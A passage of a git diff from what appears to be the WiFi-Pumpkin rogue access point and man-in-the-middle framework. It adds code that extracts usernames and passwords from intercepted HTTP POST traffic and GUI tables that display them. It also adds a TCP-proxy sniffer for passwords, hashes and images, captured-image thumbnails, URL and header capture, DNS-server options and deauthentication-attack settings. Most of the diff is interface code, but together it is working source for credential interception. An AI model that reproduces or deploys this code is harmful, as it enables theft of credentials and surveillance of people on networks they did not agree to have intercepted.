'([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \ + '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)' + username = re.findall(user_regex, payload) + password = re.findall(pw_regex, payload) + if not username ==[] and not password == []: + self.output_plugins.emit({'POSTCreds':{'User':username[0][1], + 'Pass': password[0][1],'Url':url,'destination':'{}/{}'.format(sport,dport)}}) + + def get_http_POST(self,load): + dict_head = {} + try: + headers, body = load.split("\r\n\r\n", 1) + header_lines = headers.split('\r\n') + for item in header_lines: + try: + dict_head[item.split()[0]] = item.split()[1] + except Exception: + pass + if 'Referer:' in dict_head.keys(): + return dict_head ,dict_head['Referer:'] + except ValueError: + return None,None + return dict_head, None + + def stop(self): + self.stopped = True + print 'Thread::[{}] successfully stopped.'.format(self.objectName()) \ No newline at end of file diff --git a/core/themes/themeDefault.qss b/core/themes/themeDefault.qss index d5b17bd..d3e1e1e 100644 --- a/core/themes/themeDefault.qss +++ b/core/themes/themeDefault.qss @@ -39,14 +39,14 @@ QProgressBar::chunk QProgressBar::chunk { - background-color: #05B8CC; + background-color: #808080; width: 20px; } QProgressBar::chunk:horizontal { - background-color: #05B8CC; - width: 5px; - margin: 0.5px; + background-color: #808080; + width: 10px; + margin: 0.1px; } QToolTip diff --git a/core/utility/settings.py b/core/utility/settings.py index 573a61b..49b614d 100644 --- a/core/utility/settings.py +++ b/core/utility/settings.py @@ -9,7 +9,7 @@ This program is a module for wifi-pumpkin.py. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -40,10 +40,12 @@ def __init__(self,Settings=None,parent= None): self.GruPag2=QButtonGroup() self.GruPag3=QButtonGroup() self.GruPag4=QButtonGroup() + self.GruPag5=QButtonGroup() # group options self.groupAP = QGroupBox() self.groupDhcp = QGroupBox() + self.groupDNS = QGroupBox() self.groupDeauth = QGroupBox() self.groupScan = QGroupBox() self.groupThemes = QGroupBox() @@ -51,6 +53,7 @@ def __init__(self,Settings=None,parent= None): #form group self.formGroupAP = QFormLayout() self.formGroupDHCP = QFormLayout() + self.formGroupDNS = QFormLayout() self.formGroupDeauth = QFormLayout() self.formGroupScan = QFormLayout() self.formGroupThemes = QFormLayout() @@ -58,12 +61,14 @@ def __init__(self,Settings=None,parent= None): # set layout into groupbox self.groupAP.setLayout(self.formGroupAP) self.groupDhcp.setLayout(self.formGroupDHCP) + self.groupDNS.setLayout(self.formGroupDNS) self.groupDeauth.setLayout(self.formGroupDeauth) self.groupScan.setLayout(self.formGroupScan) self.groupThemes.setLayout(self.formGroupThemes) self.groupAP.setTitle('Access Point:') self.groupDhcp.setTitle('DHCP Server:') + self.groupDNS.setTitle('DNS Server:') self.groupDeauth.setTitle('Deauth Attack:') self.groupScan.setTitle('Scan Network:') self.groupThemes.setTitle('Pumpkin Themes:') @@ -72,11 +77,16 @@ def __init__(self,Settings=None,parent= None): self.Apname = QLineEdit() self.Apname.setFixedWidth(80) self.channel = QSpinBox() + self.checkConnectionWifi = QCheckBox('Verify Wireless Connection GUI on startup') self.network_manager = QCheckBox('Ignore USB Wi-Fi Adapter permanently') self.network_manager.setToolTip('We will use this file to tell Network Manager to stop controlling ' 'a particular interface.\nif you enable this options in next time you start AP the tool will not ' 'remove the key\nfor exclude card in file of configuration.') + self.checkConnectionWifi.setToolTip('We will use this file to tell Network Manager to stop controlling ' + 'a particular interface.\nif you enable this options in next time you start AP the tool will not ' + 'check if you is connected on Wireless connection for \nfor exclude card in file of configuration.') self.network_manager.setChecked(self.Settings.get_setting('accesspoint','persistNetwokManager',format=bool)) + self.checkConnectionWifi.setChecked(self.Settings.get_setting('accesspoint','checkConnectionWifi',format=bool)) #page 1 widgets self.AP_0 = QRadioButton('Hostapd') @@ -90,6 +100,8 @@ def __init__(self,Settings=None,parent= None): self.scan_airodump = QRadioButton('Scan from airodump-ng') self.dhcpdserver = QRadioButton('Isc DHCP Server (dhcpd)') self.pydhcpserver = QRadioButton('python DHCPServer') + self.ch_pyDNS_server = QRadioButton('Python DNS Server') + self.ch_DNSproxy_server = QRadioButton('dnsproxy as DNS-Server') self.theme1 = QRadioButton('theme Default') self.theme2 = QRadioButton('theme Blue Dark ') self.theme3 = QRadioButton('theme Orange Dark') @@ -103,6 +115,8 @@ def __init__(self,Settings=None,parent= None): self.GruPag1.addButton(self.d_mdk) self.GruPag2.addButton(self.pydhcpserver) self.GruPag2.addButton(self.dhcpdserver) + self.GruPag5.addButton(self.ch_pyDNS_server) + self.GruPag5.addButton(self.ch_DNSproxy_server) self.GruPag3.addButton(self.scan_scapy) self.GruPag3.addButton(self.scan_airodump) self.GruPag4.addButton(self.theme1) @@ -119,6 +133,8 @@ def __init__(self,Settings=None,parent= None): self.scan_airodump.setChecked(self.Settings.get_setting('settings','scan_airodump',format=bool)) self.pydhcpserver.setChecked(self.Settings.get_setting('accesspoint', 'pydhcp_server',format=bool)) self.dhcpdserver.setChecked(self.Settings.get_setting('accesspoint', 'dhcpd_server',format=bool)) + self.ch_pyDNS_server.setChecked(self.Settings.get_setting('accesspoint', 'pydns_server',format=bool)) + self.ch_DNSproxy_server.setChecked(self.Settings.get_setting('accesspoint', 'dnsproxy_server',format=bool)) self.theme_selected = self.Settings.get_setting('settings','themes') check_path_hostapd = self.Settings.get_setting('accesspoint','hostapd_path') @@ -143,18 +159,22 @@ def __init__(self,Settings=None,parent= None): self.formGroupAP.addRow(self.AP_1) self.formGroupAP.addRow('Location:',self.edit_hostapd_path) self.formGroupAP.addRow(self.network_manager) + self.formGroupAP.addRow(self.checkConnectionWifi) self.formGroupDeauth.addRow(self.d_scapy) self.formGroupDeauth.addRow(self.d_mdk) self.formGroupScan.addRow(self.scan_scapy) self.formGroupScan.addRow(self.scan_airodump) self.formGroupDHCP.addRow(self.pydhcpserver) self.formGroupDHCP.addRow(self.dhcpdserver) + self.formGroupDNS.addRow(self.ch_pyDNS_server) + self.formGroupDNS.addRow(self.ch_DNSproxy_server) self.formGroupThemes.addRow(self.theme1) self.formGroupThemes.addRow(self.theme2) self.formGroupThemes.addRow(self.theme3) self.mainLayout.addRow(self.groupAP) self.mainLayout.addRow(self.groupDhcp) + self.mainLayout.addRow(self.groupDNS) self.mainLayout.addRow(self.groupScan) self.mainLayout.addRow(self.groupDeauth) self.mainLayout.addRow(self.groupThemes) @@ -208,6 +228,8 @@ def save_settings(self): self.Settings.set_setting('settings','scan_airodump',self.pageTab1.scan_airodump.isChecked()) self.Settings.set_setting('accesspoint','dhcpd_server',self.pageTab1.dhcpdserver.isChecked()) self.Settings.set_setting('accesspoint','pydhcp_server',self.pageTab1.pydhcpserver.isChecked()) + self.Settings.set_setting('accesspoint','pydns_server',self.pageTab1.ch_pyDNS_server.isChecked()) + self.Settings.set_setting('accesspoint','dnsproxy_server',self.pageTab1.ch_DNSproxy_server.isChecked()) if self.pageTab1.theme1.isChecked(): self.Settings.set_setting('settings','themes',str(self.pageTab1.theme1.objectName())) elif self.pageTab1.theme2.isChecked(): @@ -224,6 +246,7 @@ def save_settings(self): self.Settings.set_setting('accesspoint','ssid', str(self.pageTab1.Apname.text())) self.Settings.set_setting('accesspoint','channel', str(self.pageTab1.channel.value())) self.Settings.set_setting('accesspoint','persistNetwokManager',self.pageTab1.network_manager.isChecked()) + self.Settings.set_setting('accesspoint','checkConnectionWifi',self.pageTab1.checkConnectionWifi.isChecked()) self.Settings.set_setting('accesspoint','check_support_ap_mode',self.check_interface_mode_AP.isChecked()) self.Settings.set_setting('settings','redirect_port', str(self.redirectport.text())) if not path.isfile(self.pageTab1.edit_hostapd_path.text()): diff --git a/core/utility/threads.py b/core/utility/threads.py index 7d50f90..7799a47 100644 --- a/core/utility/threads.py +++ b/core/utility/threads.py @@ -16,7 +16,7 @@ from PyQt4.QtGui import QMessageBox from plugins.external.sergio_proxy.plugins import * from multiprocessing import Process,Manager -from core.servers.proxy.controller.handler import MasterHandler +from core.servers.proxy.http.controller.handler import MasterHandler from mitmproxy import proxy,flow,options from mitmproxy.proxy.server import ProxyServer diff --git a/core/utils.py b/core/utils.py index ecc44df..12471b0 100644 --- a/core/utils.py +++ b/core/utils.py @@ -19,7 +19,7 @@ for modules. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -144,7 +144,9 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''): 'dnsspoofAP': {'logs/AccessPoint/dnsspoof.log':[]}, 'responder': {'logs/AccessPoint/responder.log':[]}, 'pumpkinproxy': {'logs/AccessPoint/pumpkin-proxy.log':[]}, + 'tcpproxy': {'logs/AccessPoint/tcp-proxy.log':[]}, 'phishing': {'logs/Phishing/requests.log':[]},} + count_files = len(readFile.keys()) if unchecked != {}: for key in unchecked.keys(): readFile.pop(key) for key in readFile.keys(): @@ -174,11 +176,11 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''): elif Refactor.getSize(readFile[key].keys()[0]) == 0: emptyFile.append(key) HTML += '\n\ -
''WiFi-Pumpkin (C) 2015-2016 P0cL4bs Team' \ +
''WiFi-Pumpkin (C) 2015-2017 P0cL4bs Team' \ '
\n\n' Load_ = {'HTML': HTML,'Files':[readFile[x].keys()[0] for x in readFile.keys()], - 'activated_Files':activated_Files,'empty_files': emptyFile} + 'activated_Files':activated_Files,'empty_files': emptyFile, 'Count': count_files} return Load_ @staticmethod @@ -267,7 +269,7 @@ def get_interfaces(): itype = 'ethernet' interfaces['activated'][1] = itype except KeyError: - print('Error: find network interface information ') + print('Error: find network interface ') return interfaces @staticmethod diff --git a/core/widgets/docks/dockmonitor.py b/core/widgets/docks/dockmonitor.py index 9863b7f..486e246 100644 --- a/core/widgets/docks/dockmonitor.py +++ b/core/widgets/docks/dockmonitor.py @@ -2,7 +2,8 @@ from collections import OrderedDict from PyQt4.QtGui import ( QListWidget,QTableWidget,QSizePolicy, - QAbstractItemView,QTableWidgetItem,QIcon,QListWidgetItem + QAbstractItemView,QTableWidgetItem,QIcon,QListWidgetItem, + QTreeView,QStandardItemModel,QStandardItem ) from PyQt4.QtCore import ( SIGNAL,QProcess,pyqtSlot,QObject,SLOT,Qt,QSize @@ -14,7 +15,7 @@ for Activity-Monitor tab. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -76,15 +77,14 @@ def stopProcess(self): if self.processThread != None: self.processThread.stop() -class dockUrlMonitor(QTableWidget): - ''' dock widget for get all url monitor ''' +class dockCredsMonitor(QTableWidget): + ''' dock widget for get all credentials logger netcreds''' def __init__(self, parent=None,info={}): - super(dockUrlMonitor, self).__init__(parent) - self.setMinimumWidth(580) + super(dockCredsMonitor, self).__init__(parent) self.logger = info self.startThread = False self.processThread = None - self.setColumnCount(3) + self.setColumnCount(4) self.resizeRowsToContents() self.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.horizontalHeader().setStretchLastSection(True) @@ -92,46 +92,72 @@ def __init__(self, parent=None,info={}): self.verticalHeader().setVisible(False) self.verticalHeader().setDefaultSectionSize(27) self.setSortingEnabled(True) - self.THeaders = OrderedDict([ ('IP Address',[]),('Method',[]),('Path',[])]) + self.THeaders = OrderedDict([ ('Username',[]),('Password',[]),('Url',[]),('Source/Destination',[])]) self.setHorizontalHeaderLabels(self.THeaders.keys()) - self.horizontalHeader().resizeSection(0,100) - self.horizontalHeader().resizeSection(1,60) + self.horizontalHeader().resizeSection(0,120) + self.horizontalHeader().resizeSection(1,120) + self.horizontalHeader().resizeSection(2,180) def writeModeData(self,data): - '''get data output and add on QtableWidgets ''' + ''' get data output and add on QtableWidgets ''' + self.THeaders['Username'].append(data['POSTCreds']['User']) + self.THeaders['Password'].append(data['POSTCreds']['Pass']) + self.THeaders['Url'].append(data['POSTCreds']['Url']) + self.THeaders['Source/Destination'].append(data['POSTCreds']['Destination']) Headers = [] - data = data.split() - self.THeaders['IP Address'].append(data[0]) - self.THeaders['Method'].append(data[1]) - self.THeaders['Path'].append(data[2]) - self.setRowCount(len(self.THeaders['Path'])) + self.setRowCount(len(self.THeaders['Username'])) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) - if key == 'Path': - item.setIcon(QIcon('icons/accept.png')) - else: - item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.setItem(m, n, item) self.setHorizontalHeaderLabels(self.THeaders.keys()) + self.verticalHeader().setDefaultSectionSize(27) self.scrollToBottom() def stopProcess(self): - self.clearContents() self.setRowCount(0) + self.clearContents() self.setHorizontalHeaderLabels(self.THeaders.keys()) - self.verticalHeader().setDefaultSectionSize(27) - -class dockCredsMonitor(QTableWidget): +class dockUrlMonitor(QTreeView): ''' dock widget for get all credentials logger netcreds''' def __init__(self, parent=None,info={}): - super(dockCredsMonitor, self).__init__(parent) - self.logger = info - self.startThread = False - self.processThread = None - self.setColumnCount(3) + super(dockUrlMonitor, self).__init__(parent) + self.setSelectionBehavior(QAbstractItemView.SelectRows) + self.model = QStandardItemModel() + self.model.setHorizontalHeaderLabels(['URL','HTTP-Headers']) + self.setModel(self.model) + self.setUniformRowHeights(True) + self.setColumnWidth(0,130) + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + ParentMaster = QStandardItem('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( + data['urlsCap']['IP'], data['urlsCap']['Headers'])) + ParentMaster.setIcon(QIcon('icons/accept.png')) + ParentMaster.setSizeHint(QSize(30,30)) + for item in data['urlsCap']['Headers']: + ParentMaster.appendRow([QStandardItem('{}'.format(item)), + QStandardItem(data['urlsCap']['Headers'][item])]) + self.model.appendRow(ParentMaster) + self.setFirstColumnSpanned(ParentMaster.row(), + self.rootIndex(), True) + self.scrollToBottom() + + def clear(self): + self.model.clear() + + def stopProcess(self): + self.clearSelection() + + +class dockTCPproxy(QTableWidget): + ''' dock widget for get all credentials logger netcreds''' + def __init__(self, parent=None): + super(dockTCPproxy, self).__init__(parent) + self.setColumnCount(2) self.resizeRowsToContents() self.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.horizontalHeader().setStretchLastSection(True) @@ -139,31 +165,23 @@ def __init__(self, parent=None,info={}): self.verticalHeader().setVisible(False) self.verticalHeader().setDefaultSectionSize(27) self.setSortingEnabled(True) - self.THeaders = OrderedDict([ ('Username',[]),('Password',[]),('Source/Destination',[])]) + self.THeaders = OrderedDict([ ('Plugin',[]),('Logging',[])]) self.setHorizontalHeaderLabels(self.THeaders.keys()) - self.horizontalHeader().resizeSection(0,170) + self.horizontalHeader().resizeSection(0,150) self.horizontalHeader().resizeSection(1,150) def writeModeData(self,data): ''' get data output and add on QtableWidgets ''' - packetsIp = data.split(':[creds]')[1].split('HTTP username:')[0] - for count,value in enumerate(data.split()): - if 'username:' in value: - username = data.split()[count+1] - self.THeaders['Username'].append(username.split('=')[1]) - if 'password:' in value: - password = data.split()[count+1] - self.THeaders['Password'].append(password.split('=')[1]) - + self.THeaders['Plugin'].append(data.keys()[0]) + self.THeaders['Logging'].append(data[data.keys()[0]]) Headers = [] - if packetsIp not in self.THeaders['Source/Destination'] and not 'SessionID' in packetsIp: - self.THeaders['Source/Destination'].append(packetsIp) - self.setRowCount(len(self.THeaders['Username'])) + self.setRowCount(len(self.THeaders['Plugin'])) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) - item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + if key != 'Logging': + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.setItem(m, n, item) self.setHorizontalHeaderLabels(self.THeaders.keys()) self.verticalHeader().setDefaultSectionSize(27) diff --git a/core/widgets/notifications.py b/core/widgets/notifications.py index 3563326..6f6ec97 100644 --- a/core/widgets/notifications.py +++ b/core/widgets/notifications.py @@ -5,7 +5,7 @@ for notifications in main tab. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or diff --git a/core/widgets/pluginssettings.py b/core/widgets/pluginssettings.py index 54cf651..8ded21d 100644 --- a/core/widgets/pluginssettings.py +++ b/core/widgets/pluginssettings.py @@ -3,6 +3,27 @@ import modules as GUI from core.loaders.models.PackagesUI import * +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + config plugins . + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + class BDFProxySettings(PumpkinModule): def __init__(self,parent=None): super(BDFProxySettings, self).__init__(parent) diff --git a/core/widgets/popupmodels.py b/core/widgets/popupmodels.py index e5e5e88..fe264aa 100644 --- a/core/widgets/popupmodels.py +++ b/core/widgets/popupmodels.py @@ -11,7 +11,7 @@ for load plugins mitm attack and phishing module. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -47,6 +47,7 @@ def __init__(self,FSettings,main,parent=None): self.check_netcreds = QCheckBox('net-creds ') self.check_responder = QCheckBox('Responder') + self.check_tcpproxy = QCheckBox('TCP-Proxy') self.check_pumpkinProxy = QRadioButton('Pumpkin-Proxy') self.check_dns2proy = QRadioButton('SSLstrip+|Dns2proxy') self.check_sergioProxy = QRadioButton('SSLstrip|Sergio-proxy') @@ -73,6 +74,8 @@ def __init__(self,FSettings,main,parent=None): # desction plugin checkbox self.check_netcreds.setObjectName('Sniff passwords and hashes from an interface or pcap file.' ' coded by: Dan McInerney') + self.check_tcpproxy.setObjectName('sniff for isntercept network traffic on UDP,TCP protocol.' + ' get password,hash,image,etc...') self.check_responder.setObjectName('Responder an LLMNR, NBT-NS and MDNS poisoner. ' 'By default, the tool will only answer to File Server Service request, which is for SMB.') @@ -88,9 +91,9 @@ def __init__(self,FSettings,main,parent=None): # table 2 for add plugins with checkbox self.THeadersPlugins = OrderedDict( - [ ('Plugins',[self.check_netcreds,self.check_responder]), + [ ('Plugins',[self.check_tcpproxy,self.check_responder]), ('Settings',[QPushButton('None'),self.btnResponderSettings]), - ('Description',[self.check_netcreds.objectName(),self.check_responder.objectName(),]) + ('Description',[self.check_tcpproxy.objectName(),self.check_responder.objectName(),]) ]) self.tableplugins = QTableWidget() @@ -155,7 +158,7 @@ def __init__(self,FSettings,main,parent=None): self.proxyGroup.addButton(self.check_noproxy) self.proxyGroup.addButton(self.check_bdfproxy) - self.check_netcreds.clicked.connect(self.checkBoxNecreds) + self.check_tcpproxy.clicked.connect(self.checkBoxTCPproxy) self.check_pumpkinProxy.clicked.connect(self.checkGeneralOptions) self.check_dns2proy.clicked.connect(self.checkGeneralOptions) self.check_sergioProxy.clicked.connect(self.checkGeneralOptions) @@ -173,7 +176,7 @@ def get_disable_proxyserver(self): self.check_noproxy.setChecked(True) self.tableplugincheckbox.setEnabled(True) self.sendSingal_disable.emit(self.check_noproxy.isChecked()) - self.checkBoxNecreds() + self.checkBoxTCPproxy() # control checkbox plugins def checkGeneralOptions(self): @@ -219,11 +222,15 @@ def ConfigOBJBResponder(self): self.SettingsResponder = ResponderSettings() self.SettingsResponder.show() - def checkBoxNecreds(self): - if self.check_netcreds.isChecked(): - self.FSettings.Settings.set_setting('plugins','netcreds_plugin',True) + def checkBoxTCPproxy(self): + if self.check_tcpproxy.isChecked(): + self.FSettings.Settings.set_setting('plugins','tcpproxy_plugin',True) + self.main_method.PacketSnifferTAB.tabcontrol.setEnabled(True) + self.main_method.ImageCapTAB.TableImage.setEnabled(True) else: - self.FSettings.Settings.set_setting('plugins','netcreds_plugin',False) + self.FSettings.Settings.set_setting('plugins','tcpproxy_plugin',False) + self.main_method.PacketSnifferTAB.tabcontrol.setEnabled(False) + self.main_method.ImageCapTAB.TableImage.setEnabled(False) def checkBoxResponder(self): if self.check_responder.isChecked(): diff --git a/core/widgets/tabmodels.py b/core/widgets/tabmodels.py index dfd3416..2115a34 100644 --- a/core/widgets/tabmodels.py +++ b/core/widgets/tabmodels.py @@ -6,20 +6,21 @@ from collections import OrderedDict from core.utility.threads import ThreadPopen from core.widgets.docks.dockmonitor import ( - dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy ) from core.widgets.pluginssettings import PumpkinProxySettings from core.utility.collection import SettingsINI from plugins.external.scripts import * from plugins.extension import * from functools import partial +from plugins.analyzers import * """ Description: This program is a core for wifi-pumpkin.py. file which includes functionality for pumpkin-proxy,pumokin-monitor,pumpkin-settings tab. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -34,6 +35,157 @@ along with this program. If not, see """ +class PacketsSniffer(QVBoxLayout): + ''' settings Transparent Proxy ''' + sendError = pyqtSignal(str) + def __init__(self,main_method,parent = None): + super(PacketsSniffer, self).__init__(parent) + self.mainLayout = QVBoxLayout() + self.config = SettingsINI('core/config/app/tcpproxy.ini') + self.plugins = [] + self.main_method = main_method + self.bt_SettingsDict = {} + self.check_PluginDict = {} + self.search_all_ProxyPlugins() + #scroll area + self.scrollwidget = QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + self.tabcontrol = QTabWidget() + self.tab1 = QWidget() + self.tab2 = QWidget() + self.page_1 = QVBoxLayout(self.tab1) + self.page_2 = QVBoxLayout(self.tab2) + self.tableLogging = dockTCPproxy() + + self.tabcontrol.addTab(self.tab1, 'Plugins') + self.tabcontrol.addTab(self.tab2, 'Logging') + + self.TabPlugins = QTableWidget() + self.TabPlugins.setColumnCount(3) + self.TabPlugins.setRowCount(len(self.plugins)) + self.TabPlugins.resizeRowsToContents() + self.TabPlugins.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.TabPlugins.horizontalHeader().setStretchLastSection(True) + self.TabPlugins.setSelectionBehavior(QAbstractItemView.SelectRows) + self.TabPlugins.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabPlugins.verticalHeader().setVisible(False) + self.TabPlugins.verticalHeader().setDefaultSectionSize(27) + self.TabPlugins.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Plugins',[]),('Author',[]),('Description',[])]) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabPlugins.horizontalHeader().resizeSection(0,158) + self.TabPlugins.horizontalHeader().resizeSection(1,120) + + self.page_1.addWidget(self.TabPlugins) + self.page_2.addWidget(self.tableLogging) + # get all plugins and add into TabWidget + Headers = [] + for plugin in self.plugins: + self.bt_SettingsDict[plugin.Name] = QPushButton(plugin.Author) + self.check_PluginDict[plugin.Name] = QCheckBox(plugin.Name) + self.check_PluginDict[plugin.Name].setObjectName(plugin.Name) + self.check_PluginDict[plugin.Name].clicked.connect(partial(self.setPluginOption,plugin.Name)) + self.THeaders['Plugins'].append(self.check_PluginDict[plugin.Name]) + self.THeaders['Author'].append({'name': plugin.Name}) + self.THeaders['Description'].append(plugin.Description) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + if type(item) == type(QCheckBox()): + self.TabPlugins.setCellWidget(m,n,item) + elif type(item) == type(dict()): + self.TabPlugins.setCellWidget(m,n,self.bt_SettingsDict[item['name']]) + else: + item = QTableWidgetItem(item) + self.TabPlugins.setItem(m, n, item) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + + # check status all checkbox plugins + for box in self.check_PluginDict.keys(): + self.check_PluginDict[box].setChecked(self.config.get_setting('plugins',box,format=bool)) + + self.mainLayout.addWidget(self.tabcontrol) + self.layout = QHBoxLayout() + self.layout.addWidget(self.scroll) + self.addLayout(self.layout) + + def setPluginOption(self, name,status): + ''' get each plugins status''' + # enable realtime disable and enable plugin + if self.main_method.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + self.main_method.Thread_TCPproxy.disablePlugin(name, status) + self.config.set_setting('plugins',name,status) + + def search_all_ProxyPlugins(self): + ''' load all plugins function ''' + plugin_classes = default.PSniffer.__subclasses__() + for p in plugin_classes: + if p().Name != 'httpCap': + self.plugins.append(p()) + +class ImageCapture(QVBoxLayout): + ''' settings Image capture ''' + sendError = pyqtSignal(str) + def __init__(self,main_method,parent = None): + super(ImageCapture, self).__init__(parent) + self.mainLayout = QVBoxLayout() + self.main_method = main_method + #scroll area + self.scrollwidget = QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.imagesList = [] + + self.THUMBNAIL_SIZE = 146 + self.SPACING = 8 + self.IMAGES_PER_ROW = 4 + self.TableImage = QTableWidget() + self.TableImage.setIconSize(QSize(146, 146)) + self.TableImage.setColumnCount(self.IMAGES_PER_ROW) + self.TableImage.setGridStyle(Qt.NoPen) + + self.TableImage.verticalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.verticalHeader().hide() + self.TableImage.horizontalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.horizontalHeader().hide() + + self.TableImage.setMinimumWidth((self.THUMBNAIL_SIZE + self.SPACING) * self.IMAGES_PER_ROW + (self.SPACING * 2)) + self.imageListPath = OrderedDict([ ('Path',[])]) + self.mainLayout.addWidget(self.TableImage) + self.layout = QHBoxLayout() + self.layout.addWidget(self.scroll) + self.addLayout(self.layout) + + def SendImageTableWidgets(self,image): + self.imageListPath['Path'].append(image) + rowCount = len(self.imageListPath['Path']) // self.IMAGES_PER_ROW + if len(self.imageListPath['Path']) % self.IMAGES_PER_ROW: rowCount += 1 + self.TableImage.setRowCount(rowCount) + row = -1 + for i, picture in enumerate(self.imageListPath['Path']): + col = i % self.IMAGES_PER_ROW + if not col: row += 1 + self.addPicture(row, col, picture) + + def addPicture(self, row, col, picturePath): + item = QTableWidgetItem() + p = QPixmap(picturePath) + if not p.isNull(): + if p.height() > p.width(): + p = p.scaledToWidth(self.THUMBNAIL_SIZE) + else: + p = p.scaledToHeight(self.THUMBNAIL_SIZE) + p = p.copy(0, 0, self.THUMBNAIL_SIZE, self.THUMBNAIL_SIZE) + item.setIcon(QIcon(p)) + self.TableImage.setItem(row, col, item) + self.TableImage.scrollToBottom() + class PumpkinMitmproxy(QVBoxLayout): ''' settings Transparent Proxy ''' sendError = pyqtSignal(str) @@ -53,6 +205,17 @@ def __init__(self,main_method,parent = None): self.scroll.setWidgetResizable(True) self.scroll.setWidget(self.scrollwidget) + # create for add dock logging + self.tabcontrol = QTabWidget() + self.tab1 = QWidget() + self.tab2 = QWidget() + self.page_1 = QVBoxLayout(self.tab1) + self.page_2 = QVBoxLayout(self.tab2) + self.tableLogging = dockPumpkinProxy() + + self.tabcontrol.addTab(self.tab1, 'Plugins') + self.tabcontrol.addTab(self.tab2, 'Logging') + self.TabPlugins = QTableWidget() self.TabPlugins.setColumnCount(3) self.TabPlugins.setRowCount(len(self.plugins)) @@ -69,6 +232,10 @@ def __init__(self,main_method,parent = None): self.TabPlugins.horizontalHeader().resizeSection(0,158) self.TabPlugins.horizontalHeader().resizeSection(1,80) + # add on tab + self.page_1.addWidget(self.TabPlugins) + self.page_2.addWidget(self.tableLogging) + # get all plugins and add into TabWidget Headers = [] for plugin in self.plugins: @@ -99,7 +266,7 @@ def __init__(self,main_method,parent = None): for box in self.check_PluginDict.keys(): self.check_PluginDict[box].setChecked(self.config.get_setting('plugins',box,format=bool)) - self.mainLayout.addWidget(self.TabPlugins) + self.mainLayout.addWidget(self.tabcontrol) self.layout = QHBoxLayout() self.layout.addWidget(self.scroll) self.addLayout(self.layout) @@ -363,14 +530,15 @@ class PumpkinSettings(QVBoxLayout): ''' settings DHCP options''' sendMensage = pyqtSignal(str) checkDockArea = pyqtSignal(dict) - def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None,FsettingsUI=None): + def __init__(self, parent=None,widgets=None): super(PumpkinSettings, self).__init__(parent) - self.SettingsAp = settingsAP - self.InitialMehtod = InitialMehtod - self.dockInfo = dockinfo - self.SettingsDHCP = {} - self.FSettings = FsettingsUI + self.SettingsAp = widgets['SettingsAP'] + self.Tab_Dock = widgets['Tab_dock'] + self.dockInfo = 